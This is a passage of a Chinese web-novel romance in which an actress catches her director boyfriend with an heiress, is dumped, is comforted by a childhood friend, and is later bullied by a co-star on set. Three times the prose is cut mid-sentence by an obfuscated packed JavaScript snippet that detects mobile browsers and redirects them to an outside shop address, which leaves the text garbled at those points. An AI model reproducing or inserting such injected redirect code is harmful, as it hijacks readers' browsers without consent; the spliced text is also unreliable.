在他怔忡间,秦优的指尖轻轻触上他的手背,而后缓缓向上,温柔地握住他的手:“阿泽,你再仔细考虑一下,好吗?” - 跑车泊停在酒店楼下,停稳后,姜梨转头对慕辰帆道:“你等我一下,我去拿外套。” 说着,她快速上楼,拿了他的外套下来递过去:“麻烦你了。” 慕辰帆接过来:“早点休息。” “你也是。”姜梨又道了声谢,转身回酒店。 到房间洗了个澡,姜梨去床上躺下,看着手机上林晋泽发来的信息和无数几条未接来电,她迟迟没有睡着。 微信最新的一条消息,是林晋泽一个小时前发的:【梨梨,今天的事我想当面跟你解释,我去酒店找你好吗?】 大概是因为姜梨没有回复,林晋泽至今并没有来找她。 这场恋爱谈得太过疲惫,姜梨已经不想再继续下去。 尤其想到在医院里被当众羞辱,她抿紧唇瓣,直接在输入框里敲字:我们分手吧 消息点击发送之前,不知怎的,姜梨脑海中想起五年前她要和慕辰帆分手,慕辰帆不同意,从安芩飞去长莞找她。 最后两人还是谈崩了。 那时的少年望着她,眼底似能喷出火来:“尹梨,你到底把恋爱当什么,小孩子过家家吗?你是不是永远这么强势霸道,不可理喻?” 心莫名被什么东西攫住,隐隐的闷痛感传来,姜梨悬在发送按键上的手退回来。 大概被家人宠溺惯了,她向来受不得半点委屈,自己不高兴了,就不会给人留余地。 慕辰帆以前说她把谈恋爱当过家家,实则自私任性,根本不懂感情。 姜梨觉得他说的不对,她明明没有他说的那么不好,明明他自己比她还不懂感情。 但后来很长一段时间,她偶尔也会反思,她和慕辰帆不能有结果,或许真的是因为她性格太霸道了。 她不够温柔,不够体贴,总是对他呼来喝去,任由他单方面付出。 站在慕辰帆的角度,他确实很难对这样的她动心。 偏偏她又过于高傲,在发现慕辰帆对她的感情远不如她的时候,内心极度失衡,最终不留余地的和他分手。 姜梨到现在也不知道到底怎么样才算温柔体贴,才算不强势霸道。 或许她真的如慕辰帆所说,根本不懂得怎么谈恋爱。 即将要发给林晋泽的那段文字从输入框里删掉。 她试着让自己站在林晋泽的角度来考虑问题。 他母亲生病没有告诉她,是因为那个时候,他们两个为了饭局那晚的事正在冷战。至于前任帮他母亲介绍专家,或许只是凑巧,这不代表他们一直以来关系亲密。 林晋泽的母亲觉得她家境不好,看不上她,对她出言讽刺,这是林母的个人问题。 如果林晋泽真心想要维系这段感情,就该妥善处理与前女友的关系,平衡好母亲与她的相处。 若他做不到,那这段感情也就到头了。 不管怎样,他们之间的关系,总要当面聊清楚才好。 免得到时候,他也反过来说她蛮横霸道,不可理喻。 思索着,姜梨点开微信对话框,想让他来酒店面谈。 转念又想,他在医院照顾母亲,最近应该挺累的,与其让他跑一趟,不如自己过去找他,也省得他来回奔波。 这般想着,姜梨掀开被子下了床。 换好衣服走出酒店,深夜的街道格外安静。 考虑到是私事,又大晚上的,她没有惊动任何人,独自叫了辆网约车。 去医院的路上,车窗外城市的灯火如流萤般掠过。 姜梨望着夜色出神,没有注意到后面一直跟着她的那辆银灰色跑车。 - 慕辰帆送姜梨回酒店后,许久没有离开。 原本他只是想在离她稍微近点的地方待一会儿,没想到她又突然急匆匆地出来。 慕辰帆一路跟着她,直到看着那辆车开往市中心的医院方向,他才恍然反应过来,她大晚上出门,是去找她男朋友的。 听慕星遥说,她和林晋泽之间闹了矛盾,她今天哭过,还说想要分手。 如今却大晚上过去找他,大概是反悔了,想求和吧。 她果然很喜欢他。 慕辰帆握着方向盘的指节收紧,知道自己不该继续跟下去,脚下却依然踩着油门。 他心里告诉自己,只要确认她平安走进医院,就立刻调头离开。 网约车在医院正门停下。 姜梨整理好口罩,推门下车时才发现天空飘起了细雨。 冰凉的雨丝落在脸上,她不禁打了个寒颤,正要快步走进医院,目光却骤然定在不远处。 林晋泽穿着黑色外套,正背着秦优从医院里走出来。秦优举着伞伏在他肩头,两人姿态亲昵地正低声交谈着什么。 倏忽间,秦优歪头在林晋泽的脸上亲了一下。 姜梨看到林晋泽的脚步顿了须臾,随后若无其事地继续走。 眼睛似被什么东西刺到,心口蓦地发紧,姜梨下意识退到门卫室旁的阴影里。 林晋泽很快背着秦优出来,走到路边一辆打着转向灯的黑色轿车旁,小心地将她放下,接过她手中的雨伞。 他拉开后座车门,秦优将包扔进去,却在坐进车内前突然勾住了他的脖颈。 林晋泽微低着头,与她额头相抵,两人四目纠缠着,不知说了什么,秦优仰头吻向他的唇。 林晋泽没有回应,也没有推开,手里的伞微微倾斜。 片刻后,秦优放开他,坐进车内关上门。 车子缓缓驶离,汇入夜色中的车流。 林晋泽撑伞望着远去的车影怔怔出神。 雨越下越大,他抬起手指,无意识地擦过刚才被亲吻的位置,这才转身准备返回医院。 一抬头,隔着朦胧雨幕,他看见了站在门卫室前的姜梨。 她穿着焦糖色针织连衣裙,外罩一件驼色短款羊毛开衫,脖颈间松松地绕着一条丝巾。 自从在圈内有了名气,她出门总是不忘戴上口罩和帽子,把自己全副武装起来。即便这样,林晋泽还是一眼认出她。 她就那样定定地站在原地,目光一错不错地看着他,任凭雨水落在头顶和肩膀,却好似没有知觉。 想到刚刚和秦优之间的互动,林晋泽的心跳骤然停滞,瞳孔猛地收缩,握着伞柄的指骨因为用力而有些泛白。 雨幕如织,昏黄的路灯在水汽中晕开朦胧的光圈。 两人隔着雨帘对望,姜梨觉得浑身血液都在寸寸冻结。 她想起自己方才在酒店里的辗转反侧,想起这一路上的忐忑与纠结。 她甚至还在为他找尽借口,体谅他的辛苦,特意亲自来医院想要把话说开。 此刻看来,这一切都成了天大的笑话。 看着那抹单薄瘦弱的身影,林晋泽似终于回过神来般,大步朝她而来。 “梨梨,我……”他欲言又止,声音在雨声中显得格外艰涩。 姜梨心底冷笑,他打算怎么跟她解释刚刚的事? 会说一切都是秦优主动,他只是一时糊涂?还是会像从前那样,红着眼恳求她再给一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144523|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次机会? 她不会再给他机会了。 他们之间终于彻底无路可走。 姜梨倔强地扬起下巴,正欲跟他彻底了断,却见林晋泽似是终于下定了决心,看向她的眼神变得冷静而决绝:“我们分手吧!” 分手的话被他抢先说出,姜梨有些怔愣住。 林晋泽喉头滚了滚,还在自顾自地继续说着:“原本我也想一直跟你在一起,可现实就是这样残酷,如果没有好的家世做支撑,无论我的才华有多高,我的上限只能到这里。可是梨梨,我不想认命。” 姜梨的大脑懵了两秒,才终于跟上林晋泽的思维。 她蓦地笑了下,笑里带着讥诮:“你所谓的不认命,就是换个女朋友?” 林晋泽表情痛苦:“秦家生意做得大,和长莞的尹氏有长期合作,关系匪浅。她父亲认识尹氏的董事长,她的姑父,还是尹氏旗下星途传媒的CEO。梨梨,我知道你一时难以接受,但我必须跟她在一起。” 他看着姜梨的目光里带了几分怜悯和补偿,“即便分了手,你以后如果有什么需要我帮忙的,我依旧会义不容辞。娱乐圈水深复杂,等我再往前一步,彻底站稳脚跟,一定不会忘了回头拉你一把。这是我之前就答应过你的,依旧作数。” 姜梨一口气差点没提上来,再次发笑:“林晋泽,你知道自己在说什么吗?” 她和林晋泽刚认识的时候,他痛恨富二代,觉得她没有背景家世,所以对她倾囊相授,悉心指导。 如今短短几年过去,他却因为秦家能和尹氏攀上点微不足道的关系,要跟她分手。 这真是太荒诞了。 姜梨忽然好奇,他现在若是知道她是尹氏千金,会是什么表情? 这个念头让她连被背叛的愤怒和难过都顾不上了,只剩下满腔荒谬的笑意。 强压下情绪,姜梨一字一句道:“觉得去了星途,你就能得到你想要的人脉和资源,从此平步青云?” 林晋泽没说话,但他的表情告诉她,他确实是这样想的。 姜梨怀疑是秦优给他许诺了什么。 她点了点头:“行,我拭目以待,看看你到了那边,怎么出人头地,大红大紫。” 没有再看林晋泽,她转身走进雨幕中,任雨水瞬间打湿衣衫,浸入透骨的冷意。 林晋泽呆立在原地,望着她决绝的背影,手中的伞无力垂下。 - 姜梨在雨中不知走了多久,直到离开医院很远,才渐渐放慢脚步。 冰冷的雨水早已渗透衣衫,湿漉漉的布料紧贴着肌肤,冷得她止不住战栗。 当初他在饭局上舍弃她,如今又在秦优的利益诱惑下和她分手。 这足以说明,她在他心里根本没有那么重要。 只怪她现在才彻底看清。 此刻心绪渐平,姜梨反倒有种奇异的释然,甚至松了口气。 至少她看清楚的还不算太晚。 唯一让她感到意外甚至愤愤不平的,是提分手的人变成了林晋泽。 不管怎样,她庆幸今晚来医院的这一趟,让自己彻底看清了林晋泽的真面目。更庆幸自己还没来得及告诉他,自己就是尹氏的千金。 她的眼睛里不容沙子。 既然不是对的人,趁早分开反倒是好事。 从今往后,这个男人她多看一眼都嫌脏。 她解锁手机,干脆利落地将林晋泽的所有联系方式拖入黑名单,并取关微博。 做好这一切,她正要叫车,一道刺目的车灯突然打在身侧。 姜梨下意识眯起眼,看见一辆银灰色跑车缓缓停靠在路边,双闪灯在雨幕中规律地跳动。 车门打开,慕辰帆撑着一把黑色长伞走下。 雨水顺着伞骨滑落,在他周身形成一道透明的细密水帘。 男人握着伞柄的手指骨节分明,在车灯映照下泛着冷白的光。挺拔的身形立在雨中,清隽挺拔,矜贵中透着疏离。 姜梨心头猛地一跳。 他怎么会在这里?难道送她回酒店后一直没离开,又跟着她来了医院? 那刚才在医院门口,林晋泽与秦优的那一幕,岂不是全被他看见了? 男朋友劈腿,还被抢先提了分手,姜梨从未感到如此难堪。 她不想搭理慕辰帆,转身欲走,男人已经撑伞来到她身前。 雨幕中,他将伞倾斜至她的头顶,又脱了外套罩在她身上:“雨下这么大,你打算走到什么时候?” 清冷的嗓音混着雨声,带着几分说不清道不明的怒意。 姜梨抬眸看她。 她的睫毛是湿的,脸上全是水,让人一时分不清是雨水还是泪水。 慕辰帆只觉心被狠狠揪了一下,声音缓下来:“外面冷,先上车。” 9. 第 9 章 坐进慕辰帆的跑车,姜梨裹紧肩上那件还带着他体温的外套,接连打了好几个喷嚏。湿漉漉的发丝贴在脸颊,更显得她此刻狼狈不堪。 慕辰帆递了纸巾过来,姜梨勉强擦了擦脸上的雨水。 见她冷得浑身发颤,慕辰帆一言不发地调高了车内空调的温度。 跑车在雨夜中平稳穿行,最终驶入一个高档公寓的地下车库。 这个地方姜梨并不陌生,是慕辰帆的住处,她以前没少跟着尹慕翊过来玩。 “你带我来这干嘛?”姜梨看着许久不曾踏足过的地方,有些恍惚,开口时声音还带着受凉后的鼻音。 慕辰帆解开安全带下车,为她打开副驾的车门:“你淋了这么久的雨,必须尽快洗个热水澡,不然会感冒。” 这里确实比剧组的酒店近些。 何况她现在这副模样,也不适合被剧组的人看见。 姜梨犹豫片刻,最终默默下车,跟他一起进电梯。 慕辰帆的公寓还是姜梨记忆中的装修风格,这么多年压根没什么变化。 极简的灰白黑色调,线条利落的意大利家具,整面落地窗外是朦胧的城市夜景。偌大的客厅干净得像是样板间,几乎看不到生活痕迹。 姜梨怔神时,慕辰帆回房间拿了件白色衬衫递给她:“待会儿洗了澡先凑合一下,把身上的湿衣服换下来。” “谢谢。”姜梨接过,转身去浴室。 看着那道关上的浴室门,慕辰帆去厨房煮驱寒的姜茶。 不知怎的,他又想起刚才在医院门口的那一幕。 姜梨与林晋泽争执后,独自在雨中落寞前行,任凭雨水打湿衣服也浑然不觉。她该是伤心到极致,才会这样。 当初和他在一起,没几天她就闹着要分手,任凭他如何挽回,她都无动于衷。 她那时候果断决绝的模样,和这次同林晋泽分手,形成了鲜明的对比。 慕辰帆知道,姜梨对他只有生理性的喜欢。 如果心理上的喜欢才算初恋,或许林晋泽才是她第一个动心的人。 记得读高中时,有年尹慕翊生日,恰好赶上周末,姜梨特意从长莞赶来为他庆生。 KTV包厢里喧闹非凡,一群少男少女玩起了真心话大冒险。 轮到姜梨,她抽到的问题是:喜欢什么类型的男生? 慕辰帆记得,她那天托腮想了很久,最后若有所思地说:“应该会喜欢比我大几岁的吧,情绪稳定,处事周到,成熟的男人最有魅力了。” 那晚的慕辰帆坐在暗处一角,静静地望着她。 他和姜梨只差了三天,显然不在她的考虑范围之内。 后来她考上电影学院,认识了年长她八岁的林晋泽。 那个男人完全符合她当年描述的所有特质,成熟稳重,在专业领域游刃有余,对她更是悉心指导。 她应该真的很喜欢他吧? 因为喜欢,今晚才会被伤成这样,丢了魂一样。 慕辰帆将姜片投入沸腾的水中,看着它们在水中翻滚。 氤氲的热气中,他轻轻搅动着锅里的姜茶,眸色渐深。 - 姜梨站在淋浴下,温热的水流带来久违的暖意,使得原本冰凉的身体渐渐回温,她紧绷的神经也慢慢松弛下来。 或许是因为慕辰帆的突然出现,打断了她对林晋泽背叛自己这件事的情绪内耗,此刻她的心情竟难得地平静下来。 回想起来,姜梨承认自己一直以来看待林晋泽,都带着一层滤镜。 她有两个关系亲密的好姐妹,一个是自幼形影不离的闺蜜,叫初念,另一个则是每年暑假来安芩时总要相聚的慕星遥。 很凑巧,初念和慕星遥有一个共同点。 她们身边都有一位世交家的哥哥,对她们温柔体贴,无微不至。 无论跟她们俩中的哪一个在一起,姜梨都能在对方三句话不离那人的言行中,清晰地感受到那份仰慕与眷恋。 时间久了,姜梨自己也会恍惚,想着物以类聚,初念和慕星遥喜欢的类型如此相似,她将来是不是也该找个成熟稳重型的伴侣。 后来林晋泽就出现了,因为年龄和阅历的差距,他什么都比她懂,在她最懵懂的时期引领她,指点她。 姜梨觉得,他完全符合自己对未来伴侣的想象。 所以后来大学毕业,林晋泽跟她告白,她毫不犹豫地答应。 她以为自己和林晋泽的感情,会像初念、慕星遥她们那样甜蜜美满。 然而现实却是,他们俩各自忙于事业,鲜少有独处的时光。林晋泽对她事业上的关心远大于生活上的,两人有分歧时,她得听他的。 一直以来,林晋泽对她温柔有余,体贴不足。 她总是安慰自己,他们俩都处在事业上升期,他也是盼着她好,等以后两人的工作都稳定下来就好了。 于是她默默地等着,盼着,期待哪天他们的感情能升温,更加亲密无间。 谁知最后等来的却是林晋泽嫌她家世普通,要跟她分手去找富家千金。 姜梨现在想起来,仍觉得荒唐得想笑。 仰头抹了把脸,她深吸一口气,让自己不再去想这些。 - 洗完澡吹干头发从浴室出来,她发现慕辰帆开了暖气,客厅暖烘烘的。 她即便只穿了衬衫,也不觉得冷。 慕辰帆正坐在茶几旁的沙发上,手里随意翻看着一本经济学的书。暖黄的灯光落在他轮廓分明的侧脸上,勾勒出英隽利落的线条。 见她出来,他抬了抬下巴示意茶几上冒着热气的姜茶:“趁热喝了暖暖身子。” 姜梨走到单人沙发坐下,刚端起温热的茶杯,就注意到他的目光在她裸露的腿上停留了一瞬。 下一秒,一条柔软的毛毯精准地扔到她腿上。 她默默将毛毯展开,完全搭在腿上,捧着姜茶小口啜饮。 茶水里面加了红糖,但还是压制不了姜的辛辣味。 勉强喝了两三口后,姜梨实在受不了那股浓烈的姜味,轻轻将茶杯放回茶几上。 慕辰帆瞥了眼,放下书本起身:“还给你热了杯牛奶。” 他走向厨房,去拿热好的牛奶。 姜梨的目光追随过去:“我没胃口,而且洗完澡已经不觉得冷了。” 慕辰帆转头望过来:“那喝点酒?” 姜梨眨了下眼睛,表情麻木地看着他:“看我这么惨,你是打算喝香槟庆祝一下吗?” 慕辰帆被她噎了一瞬。 “喝啤酒或者红酒也行。”他深邃的目光落在她脸上,那张本就精致明媚的五官被灯光一照,更显得清丽动人,“陪你借酒浇愁。” 四目相对,姜梨莫名被他投来的视线烫到,别开脸去:“我开玩笑的。” 又是带她过来洗热水澡,又是给她煮姜茶热牛奶,她当然知道慕辰帆不是要庆祝。 两人少说也有二十年的交情,他总不能真对她做出那种落井下石的事情来。 姜梨说:“还是不喝酒了,我明天一早要拍戏,醉了影响工作。” 今天状态不好导致N ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她恍然间发觉,慕辰帆早已不是记忆中那个鲜衣怒马的稚嫩少年,而是蜕变成了一个雷厉风行、运筹帷幄的商人。 一个让她觉得熟悉却又有点陌生的,成熟的男人。 就连那种无形中的压迫感都比以前更强了。 天色越来越晚,风雨仍在拍打窗户。 姜梨实在找不到话题跟他聊下去,渐渐困得睁不开眼。她又看一眼时间,裹着毯子屈膝靠在沙发上,连连打哈欠。 慕辰帆再次望过来:“困了就睡一会儿,衣服好了我叫你。” 姜梨顺从地闭上眼,声音带着倦意:“今晚给你添麻烦了。” “不会。” 见她渐渐没了动静,慕辰帆把翻书的动作放轻。 又连着翻了几页,发觉还是读不进去,索性阖了书本,放回茶几上。 “慕辰帆……” 沙发上的人忽然轻声唤他。 慕辰帆微微一怔,抬眸望去。 姜梨依旧闭着眼,睫毛颤了颤,声音细若蚊喃:“你今晚真的没有在心里笑话我吗?” 慕辰帆盯着她颤动的长睫,默了良久:“没有。” 他的话音落下,客厅里陷入更深的寂静。 姜梨的呼吸渐渐变得均匀绵长,像是真的睡着了。 但慕辰帆知道她没有。 他起身走到她面前,单膝蹲下,与沙发上的她平视。暖黄的灯光在他深邃的眉眼间投下温柔的浅影。 “我为什么要笑话你?” 慕辰帆看着她,开口时声音很轻,却字字清晰,“姜梨,该被笑话的人是他。” 姜梨终于睁开眼,对上他近在咫尺的目光。 那双总是带着疏离的眸子里,此刻映着她的倒影,他一字一句地告诉她:“他早晚会明白,失去你,是他这辈子最大的损失。” 姜梨今天一晚上没有哭过。 却因为他的这句话,陡然间湿了眼眶。 10. 第 10 章 姜梨不知道自己什么时候睡着的,直到听见慕辰帆叫她,她迷迷糊糊睁开眼,对上男人沉静的目光。 “你的衣服烘干了。” 姜梨迟钝地怔了几秒,正要起身去拿,慕辰帆又道:“已经快一点了。要是还困,就在客房将就一晚,明早我送你回剧组。” 他的声音在深夜里显得格外低沉,带着不易察觉的温和。 姜梨揉了揉惺忪的睡眼,轻轻摇头:“我还是回剧组吧,已经很晚了,我一会儿打车就行,你早点休息。” 她说着,掀开身上的毯子趿着拖鞋去洗衣间。 换好衣服出来,慕辰帆已经拿了车钥匙在玄关处等着,显然是要送她。 姜梨想说谢谢,又觉得今晚对他说了太多次谢,最后只默默从公寓里出来。 慕辰帆跟在她身后带上门,和她一起进电梯。 回剧组的路上,两人依旧沉默。 雨后的街道格外安静,只有轮胎碾过湿滑路面的细微声响。 直到车停在酒店门口,姜梨下车前,转头看向他:“今晚给你添了不少麻烦,改天找个时间,我请你吃饭吧。” 慕辰帆略微挑眉:“好,看你时间。” 姜梨点点头,开门下车。 关门时,她看了眼驾驶位的男人:“路上小心。” 慕辰帆颔首,目送她走进酒店大门。 直到那道纤细的身影完全消失在视野里,他静默半晌,缓缓驱车驶离。 - 次日,姜梨照常回到剧组拍戏。 一夜过后,她的状态已经调整过来,拍摄时再没有出现前日那样频繁NG的状况。 一场戏顺利拍完,中场休息时,阿黛举着震动的手机快步走来:“梨梨,雅云姐的电话。” 姜梨接听,手机那端传来经纪人的声音:“林导要和耀起解约,你知道这事吗?” 姜梨神情微微一滞,嘴角牵起一抹苦涩:“猜到了。” 只是没想到会这么快。 昨晚决定和秦优在一起,今天就要和耀起解约。 他当真是迫不及待。 “怎么回事?”莫雅云语气困惑,“林导在耀起发展得不是挺好的吗,怎么突然要走?就因为《冻土》没有入围国际奖?可是,他现在去别处也不一定会有比耀起更好的发展了吧?” 说到这里,莫雅云的声音突然紧张起来,“宝贝,你该不会要跟着他一起走吧?” 姜梨:“不会。” 手机那头明显松了口气:“那就好,吓死我了。” 姜梨有样貌,有身段,有演技,作为她的经纪人,莫雅云一直将姜梨视为最重要的艺人,生怕这颗冉冉升起的新星从自己手中飞走。 莫雅云还想再说什么,姜梨倏而开口:“雅云姐,我和他昨晚已经分手了。以后他的事,不必再特意告诉我。” 莫雅云听得一惊,还没来得及细问,姜梨借口要拍戏,匆匆挂了电话。刚一转身,她看到阿黛拿着咖啡站在身后,脸上写满了不可思议。 姜梨与她视线交汇,接过咖啡喝了一口。 阿黛欲言又止:“梨梨,你和林导真分手了?你们两个一路走来多不容易,怎么突然就……会不会是说了气话,后面还会和好的吧?” “不会了。”姜梨捧着咖啡的指节微收,深吸一口气,平静地看着她,“他劈腿,我亲眼看见的。” 阿黛脑子怔懵两秒,整个人定在原地。 林导那样一个看起来光风霁月的人,怎么可能做这种事?她简直不敢相信自己的耳朵。 阿黛看向姜梨的目光里带了点怜惜,想着出言安慰几句,还没酝酿好词,姜梨已经捧着咖啡大步离开。 - 自从知道姜梨和林导分手,阿黛在姜梨身边开始变得小心翼翼,生怕自己说错话或者做错事,触动她此时敏感脆弱的神经。 然而几天下来,阿黛发现,姜梨看着和平时没什么两样,她每天按时吃饭,认真拍戏,准点休息,偶尔还会和剧组的人开两句玩笑,像是没有分手这回事。 唯一不同的是,她不再像从前那样频繁地查看手机,也不再与林晋泽通话视频。 那个人像是陡然间从她的世界里消失了。 阿黛觉得,姜梨或许是把伤痛默默藏在了心里,装作云淡风轻。 不过看姜梨拍戏的时候,总是能很快代入角色,不被现实里的情绪所扰,她又忍不住佩服姜梨的强大和坚韧。 这要换成自己,遇上男朋友劈腿,她肯定气得吃不好睡不好,也无心工作。 姜梨完全不知道阿黛的内心戏。 抛开在医院门口撞见林晋泽和秦优那晚,她曾感受到撕心裂肺的痛楚之外,如今是真的在让自己慢慢释然。 失恋而已,又不是天塌了,更不是她的人生走到了尽头,没什么值得她为此哭天抹泪,魂不守舍的。 林晋泽为了前程选择和她分手。 那么他早晚会知道,利欲熏心之下,他的选择究竟有多愚蠢。 - 一周后,林晋泽在官博上公布和耀起解约的消息。 于此同时,有网友拍到林晋泽和秦优在医院里的亲密照,并发布在网上,引发热议。 很快,秦优的身份被网友扒出。 秦氏企业的千金,星途传媒CEO的侄女。 舆论顿时哗然。 众人纷纷猜测,林晋泽这是被星途给挖走了。 姜梨知道这件事时,正坐在沙发上和阿黛一起吃早餐。 热搜榜上相关词条赫然在目,她随手点开,评论区早已炸开锅: 【林导和这位秦小姐在一起了,那姜梨呢?我还一直等着他们俩官宣呢。】 【官宣什么呀,两人这么多年的好朋友,彼此都这么熟了,怎么可能在一起?都是CP粉脑补出来的。】 【一周前就有网友发现,姜梨微博取关林晋泽了。如果说这里面没故事,我反正是不会信的。】 【去年姜梨得奖的时候,获奖感言里提了好多次林导,当时林导在台下看她那眼神,弹幕上多少人喊着磕到了?他们绝对在一起过!】 【要真在一起过怎么会分手?这个秦优的颜值比起姜梨差远了好吗,姜梨这张脸放在娱乐圈里可是顶级美貌,应该没有男人会舍得跟她分手。】 【楼上姐妹天真了,美貌又不能当饭吃。姜梨出道这么多年,没听说过她有什么优渥的出身,家境方面和秦优差了一大截呢,你以为男人就不现实了?他们找女朋友也看家庭条件的。】 【所以姜梨是输在家世上?那也太惨了!】 【林导以前对姜梨那么好,最后还是跟别人在一起了。我总觉得姜梨是喜欢林导的,毕竟刚出道就带着她,做她的引路人,感情肯定不一样。她现在会不会很难过?】 【肯定啊。还是秦优命好,生在终点线。林导选她,资源肯定飞升。心疼姜梨。】 【宝子们,最新消息!林导和秦优是大学同学,人家两人在学校就恋爱了(附校园亲密照)】 姜梨的视线落在那张照片上,大学校园内,林晋泽揽着秦优的腰,秦优微笑着把头往他那边靠,他们举止亲昵,宛如一对璧人。 鸦羽般的长睫轻颤一下,姜梨默默将手机息屏放在一边。 端起手边的豆浆喝下去大半,她语气平淡地对阿黛道:“我吃好了,咱们走吧。” 阿黛应了声,急忙起身把桌子收拾干净,和姜梨一起从酒店出来。 大巴车的车门打开,姜梨率先往里走,原本喧闹的车厢瞬间安静了几分。 各种复杂的目光明里暗里地落在姜梨身上,或好奇,或同情,或幸灾乐祸。 姜梨恍若未觉,神色平静地带着阿黛走向后排的空位。 没走几步,一个熟悉的声音带着刻意的热情响起:“小姜,这边坐呀?” 姜梨抬眸,看见秋零正坐在前排,笑吟吟地朝她招手。 她今天破天荒地又出现在大巴上,用意不言而喻。 姜梨脚步未停,淡声道:“不用了,后面宽敞。” “别呀。”秋零不依不饶,声音又扬高了几分,确保整个车厢都能听见,“我正想问问你呢,林导那样的金主,年轻有为,又肯捧你,你怎么就把人给气跑了?是不是耍小性子了?” 这话说得“贴心”,字字句句却都在暗示姜梨不识抬举、恃宠而骄。 姜梨微微拧眉,在过道中停下脚步,缓缓转身,清凌凌目光落在秋零精心修饰过的脸上:“秋老师好像很关心我的私事?” “不过您可能误会了,不是所有人都习惯把‘金主’挂在嘴边,当成什么了不得的倚仗。有些人背靠金主又如何,自身能力不足,迟早会遭到反噬。我这个人,向来分得清什么是合作,什么是施舍。别人‘给’的,和我自己‘挣’的,我还是更喜欢后者,所以不管离了谁,我都能混得好,不劳任何人费心。” 这话精准地戳中了秋零的痛处,她靠着投资方老公拿到女主角的事,在剧组早已不是秘密,大家没少私底下议论,说秋零能拿下女一号全靠身后有个好老公,实际上这些年她的演技不仅没有长进,还倒退不少,在这部剧里的表现明显不如姜梨。 秋零的脸色瞬间变得难看,张了张嘴,却一时找不到话来反驳。 姜梨没顾忌她一阵青一阵白的脸色,径直走向后排座位,优雅落座。 阿黛赶紧跟过去,憋着笑,悄悄对姜梨竖了个大拇指。 车厢内陷入一种微妙的寂静,再没人敢往姜梨这边多看一眼。 只有秋零僵在原地,感觉此刻全车厢的人都在看自己笑话。她胸口剧烈起伏着,忽地从座位上起身,气冲冲下了大巴车。 她的助理赶紧追上去。 - 大巴车开到剧组,众人陆陆续续下车,姜梨去化妆间里做造型,为待会儿的拍摄做准备。 化妆师负责化妆时,她手里拿着剧本温习一会儿要拍的戏。 等做完造型,时间已经差不多,姜梨把手上的剧本递给阿黛,起身去片场。 这场戏设在影视基地人造湖上,正是初冬时节,寒意刺骨。 姜梨到场时,导演正与编剧商讨细节。见到她,导演和煦地打招呼:“姜老师,今天又是场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144525|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水下戏,咱们争取一条过,免得你反复受冻。” 姜梨微微颔首:“我应该没问题。” 待所有准备工作就绪,准备开机时,迟迟不见秋零的身影。 有人说,秋零对妆容不满意,此刻还在化妆间修改。 天气凛冽寒凉,整个剧组都在等她一个人。 导演握着对讲机,脸色越来越沉。 终于,秋零裹着厚羽绒服姗姗来迟。 导演心中不悦,但碍于身份,面上还是挤出了笑容:“秋老师,就等你了。” “不好意思啊导演,化妆师动作慢了点儿。”秋零漫不经心地笑着,目光掠过只穿着单薄戏服,已然准备就绪的姜梨,眼底闪过一丝快意。 导演:“没关系,咱们赶紧开始吧。” “Action!” 戏幕拉开。 画舫之上,刺客突至,混乱中,“公主”秋零腰间那枚象征与男主定情信物的玉佩被撞落,掉入冰冷的湖中。 “我的玉佩!”秋零饰演的公主发出惊呼,焦急地望向湖面。 按照剧本,姜梨饰演的凌霜此刻应毫不犹豫地跃入水中,替主人寻回重要之物。 “扑通”一声,姜梨利落地跳入湖中。 冰冷的湖水瞬间包裹全身,刺骨的寒意让她几乎窒息。她强忍着,在水中摸索,很快找到了那枚道具玉佩。 “卡!”导演的声音响起,“很好!准备下一条,公主要主动把凌霜拉上来,突显你们超脱主仆之外的姐妹情分。” 姜梨在水中调整呼吸,等待下一次开机。 然而,当她的手伸向船沿,秋零伸手去拉她时,却忽然松开手,一脸懊恼:“哎呀,对不起导演,我刚刚好像没站稳,情绪没接上。” 她甩开手时,姜梨被她向后推了一把,身体不受控制地微微后仰,更多的冷水灌入领口。她急忙扶住船沿,才让自己在水中站稳。 “没关系,再来一条。”导演的声音透过喇叭传来,带着一丝不易察觉的无奈。 第二次,姜梨再次从冰冷的水中冒头,伸手。 秋零的手伸到一半,又缩了回去,蹙着眉:“导演,我觉得我这个反应不够真实,公主这时候是不是应该更惊慌一点?” 她歉意地看了眼姜梨,面上挂着无辜的笑:“小姜,我刚刚没发挥好,咱们重新再来一条吧。” 姜梨瞪她一眼,咬着牙没有发作,只淡声道:“希望秋老师这次能专业一点。” 第三次,姜梨的指尖已经触到了秋零微热的指尖,秋零却像是被冻到一样猛地抽回手:“抱歉,手滑了。” 泡在水里的姜梨嘴唇开始发紫,身体不受控制地微微颤抖,湿透的戏服沉重地贴在身上,汲取着她体内仅存的热量。 周围的工作人员都看出了不对劲,窃窃私语起来,看向秋零的目光带着不满,看向姜梨则充满了同情。 阿黛在岸边急得眼圈发红,却无能为力,不停给经纪人打电话,发消息,寻求帮助。 导演终于忍不住,再次喊“卡”后,走到船边,语气还算客气:“秋老师,我们是不是……” “导演。”秋零打断他,脸上挂着无奈又敬业的表情,“我知道拍了挺多条,但这场戏很重要,公主和凌霜之间微妙的情谊就在这里体现,我只是想做到最好。小姜能理解的,对吧?” 看着姜梨狼狈苍白的脸,秋零想起早上在大巴上受的气,此刻只觉得畅快。 